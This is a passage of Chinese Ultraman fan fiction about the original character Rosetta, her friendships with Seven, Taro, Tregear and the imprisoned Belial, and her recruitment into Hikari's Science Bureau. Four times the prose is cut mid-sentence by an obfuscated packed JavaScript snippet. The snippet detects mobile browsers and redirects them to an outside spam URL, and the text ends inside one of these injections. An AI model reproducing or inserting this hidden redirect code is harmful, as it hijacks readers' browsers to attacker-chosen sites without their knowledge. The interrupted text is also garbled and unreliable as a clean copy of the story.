知道了许多新鲜的消息,贝利亚很满足。他觉得自己对于扮演一个可靠的长辈已经得心应手,愉悦又恶劣地逗弄小孩玩:“如果我现在惊动宇宙监狱的守卫,你一定会被发现。到时候,你说不定会被整个光之国唾弃,然后被警备队抓起来。哈哈哈哈哈哈!听起来很有趣呢,怎么样,要试一试吗?” 罗塞塔没有被这个能轻易毁掉自己的玩笑吓到,她认真地想了一下,然后点点头:“如果真的发生了,那我也没办法。我就只能来宇宙监狱里和前辈做狱友了,到时候,我希望我被关在您的旁边,我们还可以像现在一样一起聊聊天。” “……啧。” 贝利亚的心轻微地动了一下,他绝对不会承认有一瞬间被这个回答感动。女人和小孩果然是世界上最难以理解地东西,他烦躁地移开视线,宇宙监狱忽然出现了片刻冰冷的寂静。 “所以说,贝利亚前辈之前为什么要攻打光之国呢?”罗塞塔挑了一个之前中断的话题,打破寂静。 “怎么,你要说我不该打进光之国吗?”贝利亚平静地问,他知道这个孩子本质不是什么正义的家伙,所以这个问题不是她用来谴责他的话头。果然,他听见罗塞塔继续说:“我想问的是,为什么要在获得新力量之后马上战斗呢?贝利亚前辈是经验丰富的战士吧?您应该知道,刚刚获得新的力量,还没有和身体完成磨合,怎么就马上进行战斗了?” 因为我当时……没想那么多? 我真的没想过吗? 【没有。】 一个念头在黑暗奥特曼的脑中转瞬既逝,随即就被“自己”抛之脑后。贝利亚不耐烦地训斥:“本大爷想干什么就干什么,强者就是可以为所欲为!不过要有下一次,老子会更有耐心地积攒力量。好了好了,没事干就快滚!” “感谢您的回答,我会在日后再来拜访的。” 不知道这个老登怎么突然表现出一种防御性的暴躁,男人果然是世界上最难懂的生物。罗塞塔点点头,转身离去。在贝利亚的灵魂中,名为雷布朗多的精神抬起头,朝这个背影望了一眼。 【有趣的小孩。】 从宇宙监狱出来的路上,罗塞塔遇见了刚刚回来的赛文。赛文向蓝族打了招呼:“晚上好,罗塞塔,刚刚结束工作吗?” 罗塞塔面不改色地说:“刚刚和朋友告别。赛文哥哥,有什么事吗?” “你好像有一些心事。”赛文观察着罗塞塔的脸,担忧地说。 每一个见过罗塞塔的人都会评价罗塞塔是个情绪稳定又温柔的好孩子,她的脸上永远挂着微笑,对待每一个人都细致又贴心。但是赛文能在和罗塞塔的战斗中,窥见这个少女不为人知的另外一面。那是孤注一掷的疯狂,冷静缜密的计算,以及对于万物平等的漠然。她的微笑是她铸造的保护色外壳,这个孩子把真正的自己藏在无害的面具之下。但是,战斗是意志的碰撞,念力的交锋是心灵的交流,他无数次看见,那个被蓝色火焰灼烧的孩子,她就那样隔着火焰静静地看着他,慢慢化为焦炭,既不呼救也不喊痛。她掩盖得太好了,无人知晓她已习惯忍耐痛苦。赛文不知道罗塞塔的心为什么是空洞的,但是这样的精神状态无疑是危险的,所以他一直在想,我应该怎么帮助她呢? 果不其然,罗塞塔微笑着摇了摇头:“我没事哦。” 这孩子,总是这样! 赛文调动自己贫瘠的国文知识,想要组织一些不显得强硬的安慰,他努力,然后失败了。他最后憋出来一句:“要一起去看星星吗?” “诶?”罗塞塔有点惊讶地睁大了眼灯,“现在吗?为什么?” “去吗?” 赛文没有解释,他向罗塞塔伸出手。罗塞塔低头看着这只手,鲜艳热烈,带着红族的炽热和宽厚。她的好奇心被调动,于是她把自己的手放上去,应下了这个邀请。 赛文拉着罗塞塔在宇宙中飞行。他们穿过层层夜色,掠过千万颗闪烁的微星。不知道目的地,不知道为什么,就这样把自己交给一段未知的旅途,这种感觉真的令人着迷。红族拉着罗塞塔在一片玫瑰色的星云停下,示意她看这一奇观。 这片星云并非静止,以千年为脉动的呼吸中,它缓慢旋转着。尘埃与气体编织的纱幕后,恒星正在燃烧,赤金色的光芒锐利如烧热的刀锋。最震撼人心的是星云的尺度,当你意识到,那些柔软的云絮,每一缕都包含着足够构成太阳系的物质,所有元素的起源都在这片熔炉中,铁与硅、氧与碳、钙与硫、人类的血肉、巨人的光芒……都来自这样遥远辉煌的胎动中。任何人都会为这份美丽感动。 “我心情不好的时候,就喜欢看星星。” 赛文忽然说了一句没头没尾的话。罗塞塔转过头去看他的侧脸,他锋利的面部轮廓被光照亮,翠绿色的艾梅利姆灯闪闪发光。罗塞塔运用了一点推理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648349|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才解析这句话的含义:这是我喜欢的风景,希望你看见心情也好起来。 一位慷慨的光之巨人向你分享了他的珍宝。 “为什么喜欢星星呢,赛文前辈?” “因为星星……就在那里。”赛文说,“和星星相比,奥特曼也是渺小的存在,所以我们的烦恼也会变得很小。” “是啊,对于星星来说,一切生命都是平等的渺小吧。” “你会喜欢星星吗?” “……” 罗塞塔注视着星云,慢慢地说:“我喜欢美丽的东西。”她顿了一下,声音变得轻飘飘:“如果,有一些生命不够美丽。赛文前辈还会爱上他们吗?” 赛文没听懂蓝族拐弯抹角的暗示,他问:“你指的是哪一个种族?” “不是哪一个种族。”罗塞塔说,“一个种族是复杂的,我不会用纯善或者纯恶去评价他们。如果一个文明,里面既有可爱的人,又有丑恶的人。而我们根本没办法把他们分出来,因为善人会变成恶人,恶人也会悔改。你还愿意拯救他们吗?” 奥特赛文,你为何爱着人类呢? 赛文消化着这一段指向不明的话,他皱起眉心:“只要有一丝变好的可能,我就不会放弃他们。罗塞塔,你不能因为一部分的罪恶就否认那些美好。” “这些无法说服我啊。”少女低低地说,“正如善恶无法量化,我也无法忽视那丑陋。再做一点极端的假设,如果那个种群因为恶行自取灭亡……” “我会救他们的。” “为什么?” 如果不是因为人类的美德,光之子何以爱上尘世之人? 赛文说:“不是因为他们值得被拯救,而是因为他们痛苦。” 痛苦。这个词像一道闪电劈过,罗塞塔呆呆地看着赛文的脸。是啊,痛苦。所有生活在世界上的生命,共享的同一片羊水正是痛苦。弱小的生命痛苦,因为他们被践踏;强大的生命痛苦,因为他们必须不停争斗维持地位;被牺牲的人痛苦,因为他们别无选择;做选择的人痛苦,因为他们必须承担选择的责任;善者苦,恶者苦,什么英雄豪杰也逃不过,众生都在苦海中浮沉。 所以,我和他们有什么区别吗?痛苦就是我们共同的联结,我们的生命是一样的。 罗塞塔颤抖着捂住嘴,急促地呼吸。她第一次感到了这个世界的重量,而说出这句话的赛文,就是身在苦海中,仍要超度众生的佛陀。这是何等慈悲的善良,这是何种罕见的圣父!如此纯粹又耀眼的光芒啊,简直就像要把她烧毁的火焰一样。但是人类就是这样的生物,明知道火焰是危险的,但还是忍不住追逐燃烧的薪火。 罗塞塔感觉自己要被融化那双金色的眼灯里,她注视着赛文的眼灯,情不自禁地发出一声赞叹:“你真美啊。” “什、什么?”赛文措不及防,红晕爬上行星观测员的脸,“这个词语不是用来形容男性的。” “为什么不呢?”罗塞塔慢慢露出了纯粹的笑容,她的眼灯亮晶晶的,像是一个孩子第一次看见盛大的流星雨,“强大就是美丽,善良就是美丽,而既强大又善良的你,就是最美丽的。” 赛文耳尖有点发烫,他不擅长应对这样直白真挚的赞美。但是不知为何罗塞塔的烦恼好像的确减轻了。 他回应了这份夸奖:“谢谢你,我会一直保持【美丽】的,不会让你失望。” “而你,罗塞塔,也是像星星一样美丽的好孩子。” 14. 朋友说要给我加一作 (14) 泰罗按照光屏上的指引,走到银十字三层最里面的诊疗室,感应门向两侧滑开。他先闻到了一股花草的芬芳香气,然后才看见室内的景象。这间诊疗室被布置得很独特,墙上和角落里点缀绿色的植物,浅淡的微光像是香气一样漂浮在室内,冰冷的医疗仪器和草叶交相辉映,好像来到了某个久远而熟悉的梦里。蓬勃的生机和冷漠的机械互相依偎,矛盾却温馨。 “很有罗塞塔的风格呢。”泰罗首先对好友的审美表达了肯定,他坐到椅子上,露出热情的笑容:“罗塞塔,我完成任务回来啦!” “欢迎回来,有受伤吗?” “嗯……你不要告诉玛丽妈妈噢。”泰罗表演了一个狗狗祟祟,展示自己腰腹上的伤口,小声说:“战斗的时候失误了,被怪兽抓了一下。妈妈要是知道的话又要说我很久了。” “好啦好啦,放心交给我吧。” 罗塞塔熟练地按住泰罗,用手指轻轻点了一下红族的脊背,暂时阻断中枢神经的信号传递。泰罗感到身体一轻,失去控制,随后踉跄了一下,倒在罗塞塔怀中。罗塞塔把泰罗抱起,放到手术床上,开始为他清洗创面,缝合伤口。 这种失去控制的感觉触发了战士本能的警惕,但是因为身边是熟悉的朋友,泰罗又下意识地放松了。他仰着头看罗塞塔忙碌,这个时候不应该打扰医生工作的,但是泰罗从小就是很爱说话的孩子,面对熟悉的人更是忍不住叭叭个不停:“好神奇,一点都不痛诶,罗塞塔怎么做到的,我好像没有看见其他医生用过这招。” 罗塞塔一边缝一边回答:“这是基于神经的精密操作,其实不是很困难。玛丽军长也会的,但是她觉得疼痛可以让病人牢记教训,所以不会在小型手术里面使用。对了,托雷知道你回来了吗?” “我有给他发消息,但是他的状态一直是‘工作中’,也许还在忙吧。毕竟托雷又聪明又努力,一定在科技局承担了重要的职位。时间过的真快啊,我们三个人从来没有分开这么久……”泰罗说着说着有点惆怅,他想摸摸自己的奥特天线,只是现在动不了,“以前我们还约定过要一起冒险,托雷做我的向导,你做我们的专属医师,可是现在我们都没有时间一起玩……” 罗塞塔缝好了伤口,放出治愈光线,被安放在正确位置的血肉在光的滋养下愈合。她洗好手,顺手从兜里掏出一颗糖,塞进泰罗嘴里。泰罗被迫静音,他眨了眨眼灯,咬碎糖果。甜甜的,凉凉的,是薄荷糖。罗塞塔这才反应过来:“啊……下意识就掏出来了。” “罗塞塔从来不吃糖,这个糖是给病人准备的吗?” “嗯,因为我负责的是外科,接待的大多是不小心受伤的小孩子,所以就准备了甜食。” 原来是这样。泰罗想,因为小孩子怕痛,所以专门学习了无痛的治疗术。因为想要安慰难过的孩子,随身携带了自己根本不需要的糖果。 “我可不是小孩子了。”他故意鼓起脸。 “我知道,”披着银十字白褂的蓝族用手戳了戳泰罗圆圆的脸,“我们都不是小孩子了。” 送走了泰罗,罗塞塔开始给托雷基亚发消息:“在忙吗?” 托雷基亚没有回。 下班后,罗塞塔又发了一遍。托雷基亚的头像亮着,还是没有回。她思考了一会,决定直接去科技局抓人。罗塞塔飞到科技局的研究所,在发明部找到了忙到昏天黑地的托雷基亚。她敲了敲门框:“怎么还在加班呀,托雷?” 已经工作到头晕的托雷基亚茫然地抬起头,他看见他的青梅站在门口,蓝色的体色完美融入了科技局来来去去的科学家们,不少路过的同事以为罗塞塔是其他部门的同事,还向她挥手打招呼。托雷基亚揉了揉脑袋,“罗塞塔?我的工作还没有完成,有什么事吗?” “泰罗回来了。你有看见他给你发的消息吗?” “我看看。” 托雷基亚掏出光屏,全部的未读消息都来自泰罗和罗塞塔。他一条一条看完了,有些沮丧地说:“对不起,我的项目的截止日就要到了,抽不出时间休假。” 罗塞塔背着手,小心地跃过地上的到处都是的零件和工具,寻找落脚点,她像雪原上机灵的雪兔,蹦蹦跳跳地来到托雷基亚的面前。她斜着身体坐在工作台边缘,轻轻晃动双腿,看向工作屏幕问:“有我不可以看的保密内容吗?” “没有,想看就看。” 罗塞塔翻开托雷基亚的实验记录,仔细地看完了全部的技术设想。她点了点自己的下巴:“我已经明白了原理,托雷基亚,我来帮你。” “诶?这样太麻烦你了……” “两个人合作的效率会比一个人大吧?早点完成,我们三个人就可以去一起休息了。” 托雷基亚看着罗塞塔的眼灯已经变得亮晶晶的,他好像看见了来把他从加班地狱拯救出来的天使,他感动地说:“谢谢你,罗塞塔。” 两个蓝族开始埋头工作。罗塞塔熟悉托雷基亚的习惯,熟悉他的思考方式,熟悉他摆放工具的位置,上手速度非常快。她接手了繁琐的实操部分,展现一种近乎恐怖的耐心和精准度。好像她看见一个粗胚,就知道它的完成体是什么样,于是按照思维中的蓝图在现实中再造幻想。看见一个实验材料,就知道它的最佳反应温度和浓度是多少,需要借助仪器观测的复杂能量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648350|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场在她眼中是海滩的细沙,她轻松愉快地堆起一座座沙堡,托雷基亚只需要思考下一步的方向,罗塞塔就能在所有可能性中挑选出最合适的一条。预计七天才能够完成的装置,在罗塞塔的辅助下,他们熬了一个通宵就完成了。 “天啊,罗塞塔,你真的是一个天才。” 托雷基亚再一次为罗塞塔的才能惊叹。他擅长推导理论,可是没有耐心准备漫长的制造过程。托雷基亚是一个完美主义者,他总希望自己的造物是完美的,他会在前期投入很多精力构思和设计,反复推翻又重来。实装进程开始的时候,他已经没有精力去完成,他总是在实验的时候想,或许我的思路有问题,成品并不能达到设计的程度,或许我根本不能在限定的时间完成,他越是思考越是焦虑,越是焦虑越没有动力完成。 “我觉得托雷基亚你才是那个天才。” 罗塞塔是真的这么想,她的操作都依赖于作弊的感知。她看见了结构和能量的节点,逆向拼装完成实验。按照说明书搭积木是小孩子都能做到的事情,设计出说明书的托雷基亚才是真正厉害的人。只要有耐心,细心一点,所有人都可以从1达到100,真正的天才却能达成从0到1的创新性突破。没挂的托雷基亚能做到这样,他才是真正的天纵奇才啊! 两个互相夸夸的蓝族对视了一眼,忍不住笑起来。“总算是完成了,我们去找泰罗吧。”托雷基亚站起来,唤出光屏准备给泰罗发消息。他看见了一条来自泰罗的最新消息。 “我又要去出任务啦,托雷基亚,我们下次再见!” 还是没有赶上啊。 托雷基亚脸上的笑意消失了。他垂下头,轻声地说:“对不起,罗塞塔。耽误你宝贵的休息时间了。” 罗塞塔也看见了泰罗的消息。她站起来,伸了一个懒腰,骨骼发出轻微的脆鸣:“没关系,说不上耽误。下次需要帮忙还可以来找我哦。”她对托雷基亚发射了一个wink:“只要和托雷多待一会,我的努力就有意义。好啦,我要准备去银十字工作了,再见。” 就算和我一起加班也会高兴吗? 托雷基亚看着他的天使轻飘飘地说完,潇洒地转身离去。他觉得自己的脸有些发热,捂着脸冷静了一会。视线落到桌面上完成的论文,他点开署名页,在最后签上了“罗塞塔”的名字。 托雷基亚&罗塞塔。 看着这个签名,本来因为没能和泰罗见面的难过心情变得好了一些。 这是和罗塞塔一起完成的作品,他要把罗塞塔的名字和他放在一起,所有读到这篇论文的人都该记住,曾经有一个和托雷基亚并肩的聪慧蓝族,她的名字是罗塞塔。 15. 家人们,猫想和我回家 (15) 希卡利正在看科技局完成的项目论文。他看见了发明部有几个很有意思的项目,论文的创新点让人眼前一亮。希卡利翻到最后的署名,是“托雷基亚”和“罗塞塔”。 陌生的名字,他想,是今年新入职的员工吗?想法很有趣,完成度也很高,推进项目的速度更是一骑绝尘,可以重点培养一下。他开始搜索这两个科技新星的资料。先出现的是托雷基亚的个人档案,入职照片上青涩的蓝族有点害羞地看着镜头,旁边是一长列学习时期的优秀成绩。然后他搜索“罗塞塔”,光屏缓冲了一下,显示【查询对象为空】。 科技局的系统出现故障了吗? 希卡利感到疑惑,又尝试搜索,还是没有结果。他返回去翻了那几篇署名有“罗塞塔”的论文,论文里面的确有罗塞塔完成的部分。而且这个名字总是和托雷基亚一起出现,应该也是发明部的员工。这次他直接访问发明部的人员系统,他拉开在职员工的信息表,从头到尾扫了一遍。 还是没有。 罗塞塔好像一个电子幽灵,存在于托雷基亚的论文中,存在实验本的手写记录中,就是不在他的科技局里。首先排除光之国闹鬼的可能性,希卡利想,他把那几篇论文给副局长发过去,端起手边的咖啡吹了吹热气:“罗塞塔是哪一个部门的?” “她啊?她是隔壁银十字的执业医师。” ? 这下希卡利是真的来兴趣了,他继续发送:“为什么银十字军医师的名字会出现在科技局的内部论文上?” “这孩子是托雷基亚的朋友,经常过来帮助托雷基亚工作。自从罗塞塔来了之后,托雷基亚就很少加班了。” 希卡利的眼灯闪了闪,他看着这两个名字,好像看见了冉冉升起的新生代科研牛马。此子与科学有缘,怎么能不到我的科技局来?他决定先暗中观察一下这两个年轻人。 罗塞塔过上了打三份工的日子。 白天要在银十字军工作,泰罗会不定时刷新在她的诊疗室里,一边哗啦哗啦地流光粒子,一边兴奋地和罗塞塔讲述执行任务时的趣事。玛丽军长曾经调阅过泰罗的病历,长长的记录里治疗医师全都是罗塞塔。她大概知道泰罗为什么总是来找罗塞塔治疗,因为罗塞塔不会说教他,也不会让他在治疗中感到一点痛苦。这孩子比做母亲的她更容易对泰罗心软,玛丽有点苦恼地和罗塞塔说:“小罗,你是不是有点太溺爱泰罗了。让他吃点苦头长长记性,战斗的时候也会更谨慎一些。” “诶?有吗?”罗塞塔无辜地说,“因为泰罗是很好的孩子,所以这样没关系的。泰罗总是习惯为队友挡伤害,他说自己的身体更强壮,还有奥特心脏,所以更应该保护好其他人。我认为这不是莽撞,而是一种担当。所以更多的痛苦就没必要啦。” “好吧,好吧。” 玛丽无奈又好笑地放过了这两个小孩。 晚上下班后罗塞塔要么去找贝利亚,要么去找托雷基亚。有时候她和贝利亚会谈起过去,那些贝利亚还是光之战士时候的光辉履历。自从暗堕之后,已经没有人会和他提起那些岁月,也没有人会为这些往事对他抱有尊敬。连他自己都觉得这是一段无关紧要的无趣时光,可是罗塞塔听得很认真,这些过去在她眼中和现在一样重要。于是贝利亚像是一只懒洋洋的巨龙说起曾经,说到兴起,他伸出利爪,给罗塞塔展示了自己的帝斯修姆光线。罗塞塔认真地看了一会,手中汇聚起同样的光线。──这样的天赋!贝利亚见猎心喜,却又感到几分可惜,这个孩子要是银族就好了,一定是个出色的战士……贝利亚说起那些恍若隔世的时光,翻掌灭去光线,用晦暗不明的目光注视罗塞塔。 真是奇妙啊,在这个孩子眼中,他不是“光明的银族战士贝利亚”,也不是“黑暗的堕落者贝利亚”。他是贝利亚,只是“贝利亚”。 所以无需思考正义与邪恶,不必证明什么道路才是真理,不必为了嘲笑光明选择黑暗,不用为了消灭软弱而拿起暴力。在这片小小的监牢里,只是两个短暂相遇的旅人在篝火边交换故事。旅人不会强求对方与自己同路,他们只是在无边的宇宙间擦肩而过,目光交汇的时候,看见了彼此。 有时候他们会谈起未来。贝利亚说我出去以后要建立一个伟大的国度,比肯的的光之国和安培拉的黑暗帝国都要宏伟。这个帝国就叫银河帝国,那时候,无数生命都会惊惧地看着我加冕,我将成为凯撒贝利亚。 罗塞塔问:“银河帝国对您来说,意味着什么呢?” 贝利亚说:“”那是只为了我存在的东西,是我的战争机器,是我的力量与意志的延伸。” 这个时候,正义的奥特曼应该斥责他,你不该挑起战争,用力量和恐惧统治银河!但是这个蓝族不会,她是个离经叛道的狂徒。果然,她面对这个狂妄的梦想只是点了点头,“那听起来很不错,”罗塞塔说,“我希望您的理想也能吸引到志同道合的人,我希望银河帝国能够成为您亲自选定的【家】”。 ……家? 贝利亚沉默了一会。他只是把银河帝国当成复仇的工具,用来奴役其他文明收集资源。可是在罗塞塔口中,这个帝国成为了他感召文明的舞台,某种温情脉脉的东西。这时候这个小东西又有点像光之战士了,他冷哼一声,“为什么你会这么想?我不需要那种软弱的东西。” “或许是这样。但是银河帝国是由您创造,由您庇护,由您使用的东西。这个意义上,它就是您可以安心栖息的地方,也是值得您自豪的伟业,那么,它为什么不能成为您的家呢?” 说什么庇护……某种意义上,银河帝国的确是他的理想,因为他不需要光之国,也不属于安培拉帝国,所以他要建立完全属于自己的国度。贝利亚捋了一下逻辑,如果抛弃掉可笑的亲情,银河帝国的确算是他承认的【家】。他猩红的眼灯看向罗塞塔,用傲慢的口吻邀请:“那么,我希望,银河帝国也能成为你的【家】。” 罗塞塔微笑不语。 贝利亚并不着急,他看穿了这个蓝族的光明外表下涌动的混乱本质。光之国容不下你的,他想,就像光之国容不下我一样。只要耐心等待,这个孩子一定会被光之国拒绝,失去容身之所,到那个时候,他会为这只蓝色小鸟准备好鸟笼。 更多的时候,罗塞塔会去找托雷基亚,为科技局无偿加班。她带着甜食投喂托雷基亚,两人在实验室里一边聊天一边工作。来的次数多了,属于罗塞塔的东西像物种入侵一样慢慢出现在托雷基亚的实验室里。水杯、笔记本、落下的研究手稿、毛毯、胸牌。通宵加班的时候,罗塞塔干脆在实验室过夜。她和托雷基亚一人扯了一床毯子,各自在实验室的地板上随便找了一个角落睡觉,早上起来梦游一样赶着打卡,结果发现拿错了工作服,罗塞塔穿着科技局的白褂出现在银十字里……谁让他们的工服都是白色的! 托雷基亚非常担心罗塞塔按照这个工作量下去会不会猝死,但是和罗塞塔一起工作他还是蛮开心的,他觉得要是忙起来,罗塞塔也就没有时间思考极端的东西。他一味地在论文上给罗塞塔猛猛地加署名,罗塞塔的大名在发明部中广为流传,同事们都很羡慕托雷基亚,因为谁不想自带一个帮忙加班的田螺姑娘呢? 羡慕也没用。托雷基亚窃喜又满足地想,这是我的朋友,罗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648351|206822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塞塔是只属于我的朋友。 希卡利站在实验室的玻璃窗外观察了一会。 他看见两个年轻人漫无边际地说着小话,手上的动作默契得像是同一个人。在玻璃试管沸腾的溶液间,他们隔着透明玻璃相视一笑,天才创想的模型就在这间实验室中诞生。造物主们在实验记录上签上各自的名字,投入下一个项目中。他们确实是意气相投的伙伴,即使选择了不同的发展路线也硬要手牵手同行,或许这就是少年人的倔强和赤诚吧,天真地相信只要他们并肩,命运也要为他们低头。看着两只蓝色猫猫咪咪喵喵地贴贴,希卡利的心都变得柔软,他在心中准备好了说辞,轻轻敲了一下门:“晚上好,罗塞塔,请出来一下。我有一些事情想要和你商量。” “希卡利长官?”托雷基亚紧张地站起来,他想说些什么。罗塞塔朝他看了一眼,示意他不必行动。于是托雷基亚满腔的话语都被安抚。蓝族的少女站起来,把身上的制服褶皱抚平。她镇定地朝希卡利走去:“晚上好,希卡利前辈。” 他们在一间空的会议室坐下。希卡利开门见山地抛出邀请:“罗塞塔,你在科学研究上很有天赋。有没有考虑过转职来到科技局工作?我相信在这里,你一定能绽放属于自己的光芒。” “感谢您的认可。但是我很喜欢银十字军的工作,我并不想放弃玛丽军长的栽培。” “这也不是必须选择的事情。”狡猾的蓝皮恶魔早就把所有后路堵死,“我可以向银十字军申请借调,你可保留银十字军的职位,同时把所有的精力放在科技局来。” 这算什么?上一份班,领两份工资?罗塞塔有些好笑地回答:“看来您早有准备,想要吃定我了呢。那么,您还有什么筹码,请都拿出来吧。让我看看您的势在必得是建立在什么信心上。” “我希望收你和托雷基亚为我的学生。”希卡利沉稳地打出第一张牌。“我会将我的一切都教给你们,你们会成为我的继承者。” 这是很有诱惑力的承诺。希卡利在蓝族的影响力,就像是奥特之父在红族和银族战士中的地位。他是蓝族智慧的代表,发明多得就像天上的星星。换一句话说,希卡利的位置就是蓝族能够取得的最高成就,每一个蓝族孩子幻想中的最耀眼的未来,就是“希卡利”。被一个近乎全才的科学家教导,是每一个追寻真理的孩子的憧憬。 “……”这样的希卡利,居然这么看好我和托雷基亚吗?罗塞塔想了想,或许他想要的是托雷基亚,我只是捆绑出售的赠品。就凭这一个条件,已经足够买下她和托雷基亚了。但是她相信聪明的希卡利肯定准备了不止一条后路,罗塞塔双手抱肩,点了点头:“还有吗?” 看来需要下点重料了。希卡利看着故作老道的少女,忍不住泄露出一分笑意。托雷基亚早就是他碗里的东西,但是罗塞塔还是一只野生的,亲人却警惕心很强的猫猫。他轻咳一声,掏出了猫咪绝对无法拒绝的木天蓼:“我手上有一个关于保存生命的项目,我命名为【生命固化装置】研究。需要一个有医疗背景和装置开发经验的研究员。我想要邀请你和托雷基亚加入我的研究项目。” 生命的科学研究?以科学解密生命的本质,用技术踏足神的领域,罗塞塔……她根本无法拒绝。 猫终于咬住诱饵。希卡利看见罗赛塔的眼灯亮起来,她矜持地点了点头:“我会参加的。但是托雷基亚的意愿,需要您亲自去询问。” 最难抓的罗塞塔都在猫箱里,托雷基亚还跑得了吗?希卡利满意地回答:“当然。欢迎加入科技局,罗塞塔。” 然后他做了一件早就想做的事情,希卡利伸手摸了摸罗塞塔的角翼。 16. 科技局真的不能莫名其妙爆炸吗 (16) 托雷基亚后知后觉,自己带着罗塞塔走进了一个什么样的地狱。 一开始听希卡利长官说,要同时收他和罗塞塔成为学生,他们以后都会一起工作的时候,托雷基亚是很高兴的。但是他很快就发现自己高兴早了,老资格卷王遇上年轻派卷王,就像干柴遇烈火,科技局成为了燃烧的加班地狱。 托雷基亚悲悲。 罗塞塔一向很擅长辅助人,她会提前预判队友的需求,拟出数十个备用方案。让人怀疑她是不是遇到过什么刁难人的甲方,以至于养出了预备各种方案的习惯。希卡利本来是把罗塞塔和托雷基亚当成学生培养,定期抛出几个问题,等他们做出结果后再检查和教学。但是他在和罗塞塔对接的时候,他体会到了每一个质疑都有应对,每一个方向都有预案。这孩子想的比出题人还多,而且处理文件和数据的能力堪比人形计算机。蓝皮恶魔试探性地给罗塞塔加压,布置更多的课后作业,罗塞塔依旧能够按时地完成并且进行完美的汇报。于是希卡利把罗塞塔提拔成了助手,成为科技局长的直属秘书。每天罗塞塔会提前分类好文书,并且批注上建议参考的处理方案;她优化科技局的流程模板,希卡利不必再为五花八门的申请头疼;她甚至还有时间参加希卡利的研究项目,用一种“好像早就看见了成品”的方式完成流程。希卡利觉得工作从未如此顺畅,科技局的运作效率就像换了新芯片的电脑,每天都满负荷但是无比流畅地跑起来。 托雷基亚本来还想跟着这两个人一起卷,但是很快就痛苦地放弃了。因为希卡利,他工作起来居然是不下班的! 领导不下班,助手就要跟着加班。工作越多,罗塞塔处理地越快,所以工作越少;工作越少,希卡利能负担的工作越多,所以工作越多;所以工作越少,工作越多。 希卡利简直像一头核动力驴,带着科技局疯狂地向前冲,而罗塞塔和托雷基亚就是追着驴跑的绝望小马,罗塞塔凭借非人的毅力跟上了,托雷基亚在后面无助地看着两个卷王的背影。熊熊燃烧的加班地狱把托雷基亚对于偶像希卡利的最后一点尊重也烧没。他在心里怒喊,怎么能把我和罗塞塔当牛马使!在第三个轮换日结束后,下班依旧遥遥无期。托雷基亚抓住罗塞塔的手,崩溃地说:“这样下去不行!罗塞塔,我们一起逃跑吧!” “嗯?托雷,想去休息吗?” 穿着科技局制服的罗塞塔担忧地摸了摸托雷基亚的头,选亲友还是选老师,做出决策简直易如反掌。罗塞塔调出光屏把自己的处理事项一键转发给希卡利,然后愉快地宣布:“我准备好了,托雷,我们私奔吧!” 此时希卡利在办公室里精力饱满地工作,他感觉有些奇怪,这个时候他的得力助手应该带着处理好的文件来找他,但是今天罗塞塔没有来。终端忽然叮叮咚咚地响了好一段时间的消息提示,希卡利点开消息,最上面的是来自他两个学生的外出考察申请。 “老师,我和托雷出去玩几天。祝您早日下班!” “……”希卡利环视了一下空旷的办公室,莫名生出几分寂寥之情。他默默地通过申请,并且把两个丢下他跑路的逆徒备注改成“坏猫”。 罗塞塔在开飞船,托雷基亚瘫在旁边,像一条失去梦想的咸鱼。“怎么了,托雷,我们已经成功从科技局跑出来了,还没有缓过来吗?”罗塞塔一心两用,如果不是空不出手,她早就上手去呼噜呼噜摸托雷基亚的脑袋,一向注重礼仪的发小不修边幅地瘫倒在地,表现出这幅被生活蹂躏过的可怜模样,真是既可怜又可爱。 托雷基亚支棱了一下,扒拉着操作台坐起来,还是一幅恍恍惚惚的表情:“我不要加班啊……现在看见希卡利老师的脸,我就想吐……呃,不行了,只是想一想就感觉恶心……” “老师不愧是全才,就连加班都比别人能干。” “希卡利是牲口,罗塞塔你也没有好到哪里去。怎么会有人天生就热爱上班,科技局已经变成希卡利的家了!” “因为科技局的事务的确很多啊。”罗塞塔说,“我对每天处理的事项进行了统计,大部分都是战士们的武器需要维修和升级。还有观测局的仪器更新,银十字的医疗器械维护。这些任务不困难,但是很花时间。最后是科技局内部的项目,大家都有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648352|206822||http|test|mini|href|location''.split(''|''),0,{})); () { 